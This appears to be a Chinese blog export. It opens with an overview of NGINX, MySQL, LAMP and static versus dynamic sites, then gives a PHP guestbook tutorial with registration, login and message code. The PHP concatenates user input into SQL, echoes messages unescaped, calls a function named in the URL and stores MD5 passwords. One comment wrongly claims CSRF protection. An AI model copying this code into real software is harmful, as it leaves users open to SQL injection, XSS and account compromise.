​\tNGINX的性能在处理静态内容方面尤其出色,它能够快速为用户提供静态文件,如图片和HTML页面,实现高吞吐量和低延迟.NGINX也被广泛用作负载均衡器,通过分发流量到后端的多个服务器上,来提高大型应用和服务的可伸缩性和可靠性. ​\t由于NGINX的高性能和稳定性,它被很多高流量的网站采用,包括Netflix、Airbnb和Dropbox等.这些网站需要稳定的服务器来保证用户访问的速度和质量,而NGINX提供了必要的功能来满足这些需求. ​\t尽管NGINX在某些方面与Apache相似,但它们各有特点,在不同的场景和需求中各有优势.NGINX在异步事件处理方面的性能,尤其对于现代Web应用的实时通信和高并发连接,提供了必要的支持,这使得它成为构建高效、可伸缩Web应用架构的理想选择. https://nginx.org/https://nginx.org/ https://openresty.com.cn/cn/https://openresty.com.cn/cn/ 为什么不直接使用PHP?在Web开发中,Apache或Nginx通常作为Web服务器,而PHP是一种服务器端脚本语言.在处理Web请求的上下文中,Apache/Nginx和PHP通常协同工作,但它们的职责有所区别.以下是为什么要使用Apache/Nginx来处理Web请求,而不是直接使用PHP的一些原因: 性能和效率: Apache/Nginx是为了处理大量的并发连接而优化的,它们可以高效地管理网络连接和HTTP请求,而PHP则是用来执行程序代码的. Nginx特别擅长处理静态资源,如图片、CSS、JavaScript文件等,并且在反向代理和负载平衡方面也非常高效. 安全性: Web服务器提供了一个安全层,可以配置各种安全措施,如SSL/TLS加密、防止DDoS攻击等. 使用Apache/Nginx可以限制对特定资源的访问,比如可以通过配置文件实现访问控制. 模块和插件系统: Apache和Nginx都有模块和插件系统,可以扩展其功能,这些模块可以进行URL重写、缓存、认证等. 负载分配: Web服务器可以作为负载均衡器,把请求分配到不同的PHP处理进程或服务器,这样可以提高大规模应用的性能和可靠性. PHP是解释型语言: PHP脚本需要被解释器编译和执行,这是一个相对较慢的过程.如果没有Web服务器来处理静态内容,那么所有内容都将通过PHP处理,增加了不必要的开销. 功能分离: 将Web服务器和应用服务器(PHP)分开可以让开发人员和系统管理员在配置、优化和故障排除时更加专注. 易于管理: Apache/Nginx可以处理错误页面、重定向和其他HTTP级别的需求,这样程序员就可以专注于业务逻辑的编写. 直接使用PHP内置的服务器(如通过PHP的CLI版本运行 php -S localhost:8000)主要适用于开发和测试目的,并不适合生产环境,因为它不具备为生产环境设计的Web服务器的性能、安全性和灵活性. 什么是MySQL ​\tMySQL是一个广泛使用的关系型数据库管理系统(RDBMS),由瑞典MySQL AB公司开发,并在其后被甲骨文公司(Oracle)所收购.作为一个开源系统,MySQL以其高性能、可靠性、简易性和易于使用性而受到认可,在互联网和企业环境中尤其流行.MySQL使用标准的SQL数据语言来组织、管理和检索数据,这使得它成为了开发各种应用程序,特别是Web应用程序的首选数据库. 在MySQL中,数据存储在不同的表中,这些表通过关系(即外键)连接起来,通过这种方式,它为数据的存储和查询提供了极大的灵活性和效率.MySQL支持包括ACID事务(原子性、一致性、隔离性、持久性)、分区、复制和热备份等多种先进的数据库功能. https://www.mysql.com/https://www.mysql.com/ MariaDB是MySQL的一个分支,CentOS-6之前默认使用MySQL,之后版本默认使用MariaDB。Kali-Linux中的MySQL数据库实际上也是MariaDB LAMP的重要性LAMP是一个缩写词,代表Linux、Apache、MySQL、PHP/Python/Perl这四个开源软件的组合.这个组合构成了一个强大的、可靠的、高性能的平台,用于构建和部署动态网站和Web应用程序.LAMP的重要性主要体现在以下几个方面: 成本效益:作为开源软件,LAMP堆栈的组件都是免费可用的,这降低了开发和部署Web应用程序的成本.企业和开发人员可以使用LAMP而无需支付昂贵的许可费用. 灵活性和自由:由于LAMP组件都是开源的,开发者可以根据他们的具体需求自由地定制每个组件.无论是修改Apache的配置,优化MySQL数据库,还是编写PHP脚本,LAMP为用户提供了完全的控制权. 社区支持:每个LAMP组件都有一个活跃的社区,他们持续提供支持、更新和安全性改进.这些庞大的社区是知识共享的宝库,为开发者和系统管理员提供了广泛的资源和支持. 跨平台性:虽然LAMP最初是为Linux操作系统设计的,但是这些技术现在也都支持其他操作系统,这使得LAMP可以更广泛地应用于各种不同的环境和平台. 性能和稳定性:LAMP组件都是为了提供高性能、稳定性和可靠性而精心设计的.比如,Apache是一个经过时间验证的Web服务器,能够处理大量并发请求;MySQL是一个强大的关系型数据库管理系统,适合处理大型数据集合;PHP是一个脚本语言,可以用来创建动态生成的网页内容. 易于学习:有大量的文档、论坛、书籍和在线资源,提供有关LAMP组件的学习材料.这使得新开发者能够快速地学习和应用LAMP技术. 适应性和可扩展性:LAMP架构能够适应各种大小的项目,从小型个人网站到大型企业级应用程序.同时,它可以通过负载均衡、缓存等技术进行扩展,以应对日益增长的用户和数据量. 快速开发:利用LAMP环境,开发者可以快速搭建原型和开发应用程序,这对于快速迭代和敏捷开发至关重要. 总之,LAMP的重要性在于其为开发者提供了一个成熟的、全面的、易于部署的Web应用栈,它为开发和运行Web应用程序提供了一种成本效益、高效率和高度可定制的方法. LAMP工作原理 Web服务器的工作模式工作模式:B/S模式,也即浏览器/服务器模式(Browser/Server mode) ​\tB/S模式,也即浏览器/服务器模式(Browser/Server mode),是现代网络应用中常见的一种客户端与服务端交互的架构模式.在这种模式下,用户通过Web浏览器(Browser)作为客户端,访问服务器(Server)上的资源和服务.服务器通常负责数据处理和存储工作,而浏览器则负责呈现界面和接收用户输入. ​\t在B/S模式中,LAMP堆栈(Linux, Apache, MySQL, PHP/Python/Perl)常常被用作服务端的软件组合.服务器托管着Web应用程序,处理来自浏览器的请求,执行应用逻辑,访问数据库,并将结果返回给浏览器呈现.这种模式已经成为现代Web应用开发的主流架构. 静态网站 静态网站是最基础的网站类型,其创建简单,不要求开发者具备网络编程或数据库设计的专业技能.这类网站的内容是静态的,意味着网页上显示的信息是不会自动更新或改变的.每一个静态页面都是用HTML(HyperText Markup Language)语言编写,其中的代码对于每个访问者来说都是相同的. 每个HTML文件都存储在服务器的硬盘上,当用户发起请求访问网站时,服务器将这些文件从存储中检索出来,通过网络发送给用户的浏览器.浏览器接收到这些HTML文件后,解析并显示成网页供用户浏览.由于页面是预先编写好的,它们在视觉上类似于印刷品页面,显示固定的内容. 静态网站的HTML文件通常以.htm或.html作为文件扩展名,每个文件对应网站的一个页面.因为内容不会改变,这种类型的网站不适用于需要显示实时信息或交互的场合。然而,它们对于需要展示固定信息的网站来说是理想的选择,比如个人简历、营销宣传页面或项目文档等.静态网站也具有加载速度快、托管成本低、易于优化和维护的优势. 动态网站 动态网站是由能够生成和管理动态内容的网页组成的网站.不同于静态网站, 动态网站包含后台和前台两个部分: 后台是用于维护前台数据的管理界面 前台则是用户实际看到和交互的界面 在动态网站中,我们经常在浏览器地址栏看到包含news.php?id=38的较长链接,这是动态URL的典型特征. 动态URL通常意味着网页内容是实时生成的.这些动态页面不会作为实际文件存储在服务器中,而是通过如ASP、PHP、JSP、ASP.NET、Perl或CGI等编程语言在服务器上实时生成. 那么他们在生成的时候又分为不同的生成模式 https://www.cnblogs.com/ranyonsue/p/12090647.htmlhttps://www.cnblogs.com/ranyonsue/p/12090647.html 动态页面的内容通常存储在数据库中.当用户发出请求时,服务器会根据请求的不同,从数据库中检索内容,并返回相应的网页.这样的设计使网站维护工作量大幅减少,并允许网页内容根据用户需求动态变更. 动态网站提供了许多与用户交互的功能,如用户注册、登录、管理、购买、在线调查和投票等.这些功能是静态网页无法提供的.动态页面的文件扩展名通常为.php、.asp、.jsp等. 这种动态内容的管理往往通过内容管理系统(CMS)来实施.CMS是一种软件系统,位于WEB前端(Web服务器)和后端流程(内容创作、编辑)之间,允许内容创作人员、编辑人员、发布人员提交、修改、审批、发布内容.CMS的强大之处在于,它可以处理文件、表格、图片、数据库数据、视频等各种信息,方便用户将这些内容发布到Internet、Intranet或Extranet网站上. 像DedeCms和WordPress这样的系统是CMS的具体实例,它们支持动态内容的创建、编辑和发布,并且可以通过各种模块来扩展网站的功能.CMS还可以通过内容抓取工具来自动从第三方信息来源获取内容,并将其存储在自己的内容库中,从而实现内容的自动更新和管理. https://www.dedecms.com/https://www.dedecms.com/ https://wordpress.org/https://wordpress.org/ 伪静态 伪静态是一种服务器端技术,用于将动态网页的URL重写成看似静态的URL格式.这种技术的目的是为了提高搜索引擎优化(SEO)并提升用户体验,因为静态URL通常更加简洁、清晰,并且对于用户和搜索引擎更友好. SEO(Search Engine Optimization):汉译为搜索引擎优化。是一种方式:利用搜索引擎的规则提高网站在有关搜索引擎内的自然排名。目的是让其在行业内占据领先地位,获得品牌收益。很大程度上是网站经营者的一种商业行为,将自己或自己公司的排名前移。 https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96/3132https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96/3132 伪静态的工作原理当服务器收到一个伪静态的URL请求时,它会根据预设的规则将这个URL重新解析,映射到相应的动态脚本(如PHP、ASP等)上.这个过程对于访问者来说是透明的,他们看到的是一个静态的URL,但实际上服务器在背后执行的是动态页面的生成. 伪静态的表现形式 URL结构:一个典型的动态URL可能包含问号和多个参数,例如:www.example.com/products.php?id=1&category=2.而使用伪静态技术后,这个URL可能看上去像这样:www.example.com/products/1-2.html. 文件扩展名:虽然伪静态URL看上去好像是以.html、.htm或其他静态页面的扩展名结尾,但实际上它们背后是由动态脚本处理的. 伪静态的实现方式 Apache服务器:可以通过mod_rewrite模块和.htaccess文件来设置URL重写规则. Nginx服务器:通过配置文件中的rewrite指令来实现URL的重写. 优点 改善用户体验,因为URL简洁明了,更容易记忆. 对搜索引擎更加友好,有助于提升网页的SEO排名. 可以隐藏底层技术,提高网站的安全性. 缺点 需要服务器处理额外的URL重写逻辑,可能会增加CPU负担. URL重写规则可能变得复杂,需要技术人员进行维护和更新. 下表整合了静态网站、动态网站以及伪静态的特点,并展示了它们之间的比较: 特性/类型 静态网站 动态网站 伪静态 页面内容 预建且不变,除非手动更新文件 实时生成,内容随用户请求或数据库更新而变化 动态生成但以静态文件格式呈现,不生成实体静态文件 编码方式 HTML 服务器端语言如PHP,JSP,ASP.NET等 同动态网站,使用服务器端语言如PHP,但结合URL重写技术 响应类型 对每个请求发送完全相同的响应 根据请求和服务器端代码生成定制化HTML 看似静态的相同响应,实际上是动态生成的内容 内容更新 仅当手动发布和更新文件时内容才变更 服务器端代码允许内容根据数据库或用户输入实时更新 通过动态脚本实现内容的实时更新,但对用户和搜索引擎展示为静态页面 优势 服务器压力小,对搜索引擎友好 强大的CMS,能够实现复杂交互功能 结合了静态和动态的优点,即时更新内容而保持URL对搜索引擎友好 缺点 内容更新不实时,需要重新生成页面,可能占用更多空间和服务器资源 页面生成可能增加服务器负担 增加服务器CPU负担,复杂的URL重写规则可能需要技术性维护 适用场景 简单网站,内容更新不频繁的网站 需要用户交互,内容频繁更新的网站 需要动态内容但同时想保持URL静态化以优化搜索引擎排名的网站 搜索引擎优化(SEO) 友好,因为内容是固定的 取决于实施方式,但通常可以通过适当的URL结构和内容管理进行优化 对搜索引擎友好,因为URL是静态的,易于爬虫索引 示例 个人简历网站、小型公司展示网站 电子商务网站、新闻门户网站 博客平台、论坛、商业网站,需要动态内容但希望URL静态化的网站 伪静态的实现通常是通过服务器软件(如Apache的mod_rewrite模块或Nginx的URL重写规则)来将动态URL重写为静态URL的形式。这样,用户和搜索引擎看到的是静态URL,但实际上服务器在后台执行的是动态页面处理。这样做的好处是对搜索引擎更为友好,因为静态URL通常更易于索引,同时用户看到的地址更加清晰易懂。然而,这种方法增加了服务器负担,特别是CPU资源的使用,因为服务器必须处理额外的URL重写逻辑。 脚本语言与网络架构及数据库对应关系 ASP (Active Server Pages) 常用数据库: Access, MSSQL 运行环境: Windows, IIS (Internet Information Services) ASP.NET (.aspx) 常用数据库: MSSQL 运行环境: Windows, IIS PHP (Hypertext Preprocessor) 常用数据库: MySQL (大部分), 但也可与其他数据库如PostgreSQL, Oracle, MSSQL等配合使用 运行环境: 主要Linux, 也可在Windows; 通常搭配Apache/HTTPd, Nginx, 亦可在Windows IIS中运行 JSP (JavaServer Pages) 常用数据库: Oracle, MSSQL, MySQL 运行环境: 跨平台,可以在任何支持Java的服务器上运行,包括但不限于Tomcat, Jetty, WebSphere, JBoss,WebLogic等 数据库默认端口 MySQL: 3306 MSSQL: 1433 Oracle: 1521 PostgreSQL: 5432 MongoDB: 27017, 27018 Redis: 6379 Sybase/DB2: 5000 Access数据库: 不使用端口(基于文件的数据库) 常见HTTP默认端口 HTTP (Hypertext Transfer Protocol): 80 HTTPS (HTTP Secure): 443 常见自定义HTTP端口 8080 8888 8000 …. 端口号可以被配置成任何其他可用的数字,上面列出的是标准的、最常见的配置。在实际部署时,某些端口可能会根据具体的安全策略、系统架构或个人喜好进行调整","tags":["Centos","Mysql","数据库","Linux","PHP","Apache","OpenResty","SSL"],"categories":["安全运维","Web服务器"]},{"title":"PHP-留言板项目","path":"/2023/09/08/c3682c7d/","content":"总字符数: 20.34K 代码: 19.71K, 文本: 0.43K 预计阅读时间: 1.46 小时 CSS样式编写style.css123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134body { background-color: #f0f0f0; font-family: Arial, sans-serif;}h1 { text-align: center; color: #333; margin-top: 50px;}table { margin: auto; border-collapse: collapse; width: 80%; background-color: #fff; margin-bottom: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);}th, td { padding: 10px; border: 1px solid #ccc; text-align: left;}th { background-color: #f2f2f2; font-weight: bold;}input[type=text], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=password], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=email], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=number], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=submit] { background-color: #4CAF50; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; margin: 0 auto; display: block;}input[type=submit]:hover { background-color: #45a049;}.message-actions { text-align: center; margin-top: 10px;}.message-actions a { margin: 0 5px; padding: 6px 10px; background-color: #4CAF50; color: white; text-decoration: none; border-radius: 4px; font-size: 14px;}.message-actions a:hover { background-color: #45a049;}.clearfix::after { content: ""; clear: both; display: table;}/* 修改密码表单 */.form-container { margin-bottom: 10px;}/* 登出按钮 */.logout-button { text-align: center; margin-top: 10px;}.avatar { width: 200px; height: 200px; border-radius: 50%; overflow: hidden; display: flex; justify-content: center; align-items: center; margin: 0 auto 1%; /* 添加此行以实现水平居中 */}.avatar img { width: 100%; height: auto; display: block;} 安装页面编写conn.php12345678910<?php$hostname = 'localhost';$username = 'root';$password = 'root';$database = 'frontenddb';$conn = mysqli_connect($hostname, $username, $password,$database);if (!$conn) { echo "无法连接到数据库服务器: " . mysqli_error(); exit;} ==按照安全要求的话,安装完成后请把安装文件给删掉或者禁止执行== install.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748<?php// 连接数据库$hostname = 'localhost';$username = 'root';$password = 'root';$conn = mysqli_connect($hostname, $username, $password);// 判断数据库是否存在,不存在则创建$sqlCheckDatabase = "SHOW DATABASES LIKE 'FrontendDB'";$resultCheckDatabase = $conn->query($sqlCheckDatabase);if ($resultCheckDatabase->num_rows == 0) { $sqlCreateDatabase = "CREATE DATABASE IF NOT EXISTS FrontendDB"; $conn->query($sqlCreateDatabase);}// 使用数据库$conn->select_db("FrontendDB");// 创建用户信息表$sqlCreateInfoTable = "CREATE TABLE IF NOT EXISTS UserInfo ( `User ID` INT AUTO_INCREMENT PRIMARY KEY, `Username` VARCHAR(50) NOT NULL, `Password` VARCHAR(50) NOT NULL, `Email` VARCHAR(50), `Phone` CHAR(11), `Sex` CHAR(1), `Age` INT(3), `Address` VARCHAR(100), `Creation time` DATETIME NOT NULL)";$conn->query($sqlCreateInfoTable);// 创建留言评论表$sqlCreateCommentTable = "CREATE TABLE IF NOT EXISTS Comment ( `Message ID` INT AUTO_INCREMENT PRIMARY KEY, `User ID` INT NOT NULL, `Message Text` TEXT , `Message Content` TEXT , `Publish Time` DATETIME NOT NULL, FOREIGN KEY (`User ID`) REFERENCES User(`User ID`))";$conn->query($sqlCreateCommentTable);echo "创建成功!!!!";// 关闭数据库连接$conn->close(); 用户功能实现创建用户注册页面register.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>注册页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>注册页面</h1><table> <form action="" method="POST" class="clearfix"> <tr> <td>用户名</td> <td><input type="text" name="NickName" value=""/></td> </tr> <tr> <td>密码</td> <td><input type="password" name="password" value=""/></td> </tr> <tr> <td>重复密码</td> <td><input type="password" name="repassword" value=""/></td> </tr> <tr> <td>邮箱</td> <td><input type="email" name="email" value=""/></td> </tr> <tr> <td>年龄</td> <td><input type="number" name="age" value=""/></td> </tr> <tr> <td>手机号</td> <td><input type="number" name="phone" value=""/></td> </tr> <tr> <td>性别</td> <td> <input type="radio" name="sex" value="男" id="male" checked> <label for="male">男</label> <input type="radio" name="sex" value="女" id="female"> <label for="female">女</label> </td> <tr> <td>家庭住址</td> <td><input type="text" name="address" value=""/></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="注册" /></td> </tr> </form></table></body></html> 创建用户登录页面login.php123456789101112131415161718192021222324252627282930<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>登录页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>登录页面</h1><table> <form action="" method="POST" class="clearfix"> <tr> <td>用户名</td> <td><input type="text" name="username" value=""/></td> </tr> <tr> <td>密码</td> <td><input type="password" name="password" value=""/></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="登录" /></td> </tr> </form></table></body></html> 创建用户详情页面perinf.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>用户详情页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>用户详情页面</h1><!-- 用户头像显示功能 --><div class="avatar"> <img src="http://43.138.77.252/assets/images/favicon.jpg" alt="用户头像"></div><!-- 用户信息展示 --><table> <tr> <td>用户名</td> <td><?php echo $user['Username']; ?></td> </tr> <tr> <td>邮箱</td> <td><?php echo $user['Email']; ?></td> </tr> <tr> <td>手机号</td> <td><?php echo $user['Phone']; ?></td> </tr> <tr> <td>性别</td> <td><?php echo $user['Sex']; ?></td> </tr> <tr> <td>年龄</td> <td><?php echo $user['Age']; ?></td> </tr> <tr> <td>家庭住址</td> <td><?php echo $user['Address']; ?></td> </tr> <tr> <td>注册时间</td> <td><?php echo date_format(new DateTime($user['Creation time']), 'Y-m-d');?></td> </tr></table><!-- 修改密码表单 --><h2>修改密码</h2><div class="form-container"> <form action="" method="POST"> <label for="old_password">当前密码:</label> <input type="password" name="old_password" id="old_password" required><br> <label for="new_password">新密码:</label> <input type="password" name="new_password" id="new_password" required><br> <label for="new_password">重复新密码:</label> <input type="password" name="re_password" id="new_password" required><br> <input type="submit" name="submit" value="修改密码"> </form></div><!-- 登出按钮 --><div class="logout-button"> <form action="logout.php" method="POST"> <input type="submit" name="logout" value="登出"> </form></div></body></html> 注册页面功能实现register.php12345678910111213141516171819202122232425262728293031323334353637383940414243<?phpinclude '../conn.php';if(!empty($_POST['submit']) ){ // 处理注册逻辑 $Nickname = trim($_POST['NickName']); $password = trim($_POST['password']); $repassword = trim($_POST['repassword']); $email = trim($_POST['email']); $age = trim($_POST['age']); $phone = trim($_POST['phone']); $sex = trim($_POST['sex']); $address = trim($_POST['address']); // 基本信息不能为空 if(empty($Nickname)||empty($password)||empty($repassword)){ echo "不允许为空"; exit(); } // 判断两次密码是否一样 if ($password!=$repassword){ echo "两次密码不匹配"; exit(); } // 判断用户名是否已经存在 $sql = "SELECT `Username` FROM userinfo WHERE `Username` = '$Nickname'"; $result = mysqli_query($conn,$sql); $row = mysqli_num_rows($result); if($row>=1){ echo "<script>alert('用户名已存在,请换一个!!!');location.href='register.php';</script>"; exit(); } // 执行注册的代码 $salt = date('Y-m-d H:i:s'); $password = $password.$salt; // password2023-09-01 09:28:00 $password = md5($password); $sql = "insert into userinfo(`Username`,`Password`,`Email`,`Phone`,`Sex`,`Age`,`Address`,`Creation time`) values('$Nickname','$password','$email','$phone','$sex','$age','$address','$salt')"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('用户创建成功!');location.href='login.php';</script>"; }else{ echo "<script>alert('用户创建失败!!!');location.href='register.php';</script>"; }}?> 登录页面功能实现login.php12345678910111213141516171819202122232425262728293031323334353637383940<?phpinclude '../conn.php';session_start();if(!empty($_POST['submit']) ) { $username = trim($_POST['username']); $password = trim($_POST['password']); if (empty($username)&&empty($password)){ echo "账户或密码为空"; exit(); } // 获取用户名对应的salt $user_sql = "SELECT `User ID`,`Username`,`Creation time` FROM userinfo WHERE `Username` = '$username'"; $user_result = mysqli_query($conn,$user_sql); $user_row = mysqli_num_rows($user_result); if($user_row<1){ echo "<script>alert('用户名不存在');location.href='register.php';</script>"; exit(); } $user_row = mysqli_fetch_assoc($user_result); // 将用户名和salt拼接在一起并进行md5加密 $password_md5 = $password.$user_row['Creation time']; $password_md5 = md5($password_md5); // 查询数据库中的用户密码 $pass_sql = "SELECT `Password` FROM userinfo WHERE `Username` = '$username'"; $pass_result = mysqli_query($conn,$pass_sql); $pass_row = mysqli_fetch_assoc($pass_result); $password = $pass_row['Password'];\t// echo "用户输入的密码+salt后的结果:".$password_md5."</br>";\t// echo "数据库中的结果:".$password."</br>"; if($password_md5!==$password){ echo "账户或密码错误!!!"; exit(); } // 1代表登录中,0代表未登录 $_SESSION['is_login'] = 1; $_SESSION['username'] = $user_row['Username']; $_SESSION['user_id'] = $user_row['User ID']; echo "<script>alert('登录成功');location.href='perinf.php';</script>";}?> 详情页面功能实现perinf.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051<?phpinclude '../conn.php';session_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='login.php';</script>"; exit();}$username = $_SESSION['username'];$sql = "select * from userinfo where Username = '$username'";$result = mysqli_query($conn,$sql);$user = mysqli_fetch_array($result);// 修改密码功能如下:if (!empty($_POST['submit'])){ $curr_passwd = trim($_POST['old_password']); $new_passwd = trim($_POST['new_password']); $re_passwd = trim($_POST['re_password']); if($new_passwd!==$re_passwd){ echo "<script>alert('两次密码不匹配!!!');</script>"; } // 判断他输入的当前密码+salt是否和数据库中的相等,这里防范的是csrf漏洞 $salt_sql = "SELECT `Username`,`Creation time` FROM userinfo WHERE `Username` = '$username'"; $salt_result = mysqli_query($conn,$salt_sql); $salt_result = mysqli_fetch_array($salt_result); // 将用户名和salt拼接在一起并进行md5加密 $password_md5 = $curr_passwd.$salt_result['Creation time']; $password_md5 = md5($password_md5); // 查询数据库中的用户密码 $pass_sql = "SELECT `Password` FROM userinfo WHERE `Username` = '$username'"; $pass_result = mysqli_query($conn,$pass_sql); $pass_row = mysqli_fetch_array($pass_result); $password = $pass_row['Password'];// echo "用户输入的密码+salt后的结果:".$password_md5."</br>";// echo "数据库中的结果:".$password."</br>"; if($password_md5!=$password){ echo "当前密码不正确!!!"; exit(); } $new_password_md5 = $new_passwd.$salt_result['Creation time']; $new_password_md5 = md5($new_password_md5); $update_sql = "UPDATE userinfo SET `Password` = '$new_password_md5' WHERE `Username` = '$username'"; $update_result = mysqli_query($conn, $update_sql); if ($update_result) { session_unset(); // 销毁 Session session_destroy(); echo "<script>alert('修改成功,请重新登录');location.href='login.php';</script>"; } else { echo "<script>alert('修改失败');</script>"; }}?> 登出页面功能实现logout.php12345678910<?phpsession_start();if (!empty($_POST['logout'])){ // 清除所有 Session 变量 session_unset(); // 销毁 Session session_destroy(); echo "<script>alert('退出成功!!!');location.href='login.php';</script>"; exit();} 留言功能实现创建留言界面guestbook.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546<?phpsession_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>留言板</title> <link rel="stylesheet" href="../style.css"></head><body><h1>留言板</h1><table> <tr> <th>标题</th> <th>内容</th> <th>昵称</th> <th>时间</th> <th>操作</th> </tr> <tr> <td>留言内容</td> </tr></table><table> <form action="controls.php?fun=message_add" method="POST" class="clearfix"> <tr> <td>标题</td> <td><input type="text" name="txtName" value=""/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="txtMessage" cols="100" rows="6"></textarea></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> </form></table></body></html> 增加留言功能controls.php12345678910111213141516171819202122232425262728<?phpinclude '../conn.php';session_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}function message_add($conn,string $user_id ,string $text_name,string $text_content){ if(!empty($text_name)&&!empty($text_content)){ $time = date('Y-m-d H:i:s'); $sql = "insert into comment(`User ID`,`Message Text`,`Message Content`,`Publish Time`) VALUES ('$user_id','$text_name','$text_content','$time')"; if (mysqli_query($conn,$sql)) { echo "<script>alert('留言成功!');location.href='guestbook.php';</script>"; } else { echo "<script>alert('留言失败!');location.href='guestbook.php';</script>"; } } else { echo "不能为空"; exit; }}$fun = $_GET['fun'];$text_name = $_POST['txtName'];$text_content = $_POST['txtMessage'];$userid = $_SESSION['user_id'];$fun($conn,$userid,$text_name,$text_content); 显示留言功能123456789101112131415161718192021222324<h1>留言板</h1><table> <tr> <th>标题</th> <th>内容</th> <th>昵称</th> <th>时间</th> <th>操作</th> </tr><?phpinclude '../conn.php';$sql = "select `Message ID`,`User ID`,`Message Text`,`Message Content`,`Publish Time` from comment order by `Publish Time` desc";$result = mysqli_query($conn,$sql);while($row = mysqli_fetch_array($result)){?> <tr> <td><?php echo $row['Message Text']; ?></td> <td><?php echo $row['Message Content']; ?></td> <td><?php echo $_SESSION['username']; ?></td> <td><?php echo $row['Publish Time']; ?></td> <td><input type="hidden" name="id" value="<?php echo $row['Message ID']; ?>" /></td> </tr></table><?php }?> 修改留言信息12345678<td><?php echo $row['Message Text']; ?></td><td><?php echo $row['Message Content']; ?></td><td><?php echo $row['Publish Time']; ?></td><td class="message-actions"> <a href="edit.php?MessageId=<?php echo $row['Message ID']; ?>">修改</a> <a href="controls.php?fun=message_del&MessageId=<?php echo $row['Message ID']; ?>">删除</a></td><input type="hidden" name="id" value="<?php echo $row['Message ID']; ?>" /> edit.php?MessageId=<?php echo $row['Message ID']; ?> 其中 edit.php 是修改留言的页面,id 是要修改留言的 ID,通过此 ID 可以在留言修改页面将要修改的留言数据显示出来,同时也作为留言修改保存的条件. edit.php123456789101112131415161718192021222324252627282930313233<?phpsession_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}?><html><head> <meta charset="utf-8"/> <title>留言板-修改留言</title> <link rel="stylesheet" href="../style.css"></head><body><table width="80%" align="center" border="1" rules="all"> <form action="controls.php?fun=message_update" method="POST"> <tr> <td>标题</td> <td><input type="text" name="MessageText" value="<?php echo $MessageText; ?>"/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="MessageContent" cols="100" rows="6"><?php echo $MessageContent; ?></textarea></td> </tr> <tr> <td><input type="hidden" name="MessageId" value="<?php echo $MessageId; ?>" /></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> </form></table></body></html> 当我们点击修改按钮后是以下样式 我们需要将ID对应的标题和内容显示出来 12345678910111213141516171819202122232425262728<body><?phpinclude "../conn.php";$MessageId = $_GET['MessageId'];if(isset($MessageId)){ $sql = "select * from comment where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); $data = mysqli_fetch_array($result); if($data){ $MessageText = $data['Message Text']; $MessageContent = $data['Message Content']; }}?><table width="80%" align="center" border="1" rules="all"> <form action="controls.php?fun=message_update" method="POST"> <tr> <td>标题</td> <td><input type="text" name="MessageText" value="<?php echo $MessageText; ?>"/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="MessageContent" cols="100" rows="6"><?php echo $MessageContent; ?></textarea></td> </tr> <tr> <td><input type="hidden" name="MessageId" value="<?php echo $MessageId; ?>" /></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> 当修改完留言,点击 提交 按钮的时候将留言保存到数据表中 controls.php123456789101112131415161718192021222324252627<?php function message_update($conn,$user_id,int $MessageId,string $text_name,string $text_content){ if(!empty($_POST['submit']) ){ $sql = "update comment set `Message Text`='".$text_name."',`Message Content` ='".$text_content."',`User ID` ='".$user_id."' where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('留言修改成功!');location.href='guestbook.php';</script>"; }else{ echo "<script>alert('留言修改失败!请重试!');location.href='edit.php?MessageId=$MessageId';</script>"; } }}$fun = $_GET['fun'];switch ($fun){ case $fun=='message_add': $text_name = $_POST['MessageText']; $text_content = $_POST['MessageContent']; $fun($conn,$_SESSION['user_id'],$text_name,$text_content); break; case $fun=='message_update': $MessageId = $_POST['MessageId']; $text_name = $_POST['MessageText']; $text_content = $_POST['MessageContent']; $fun($conn,$_SESSION['user_id'],$MessageId,$text_name,$text_content); break;} 删除留言功能 <a 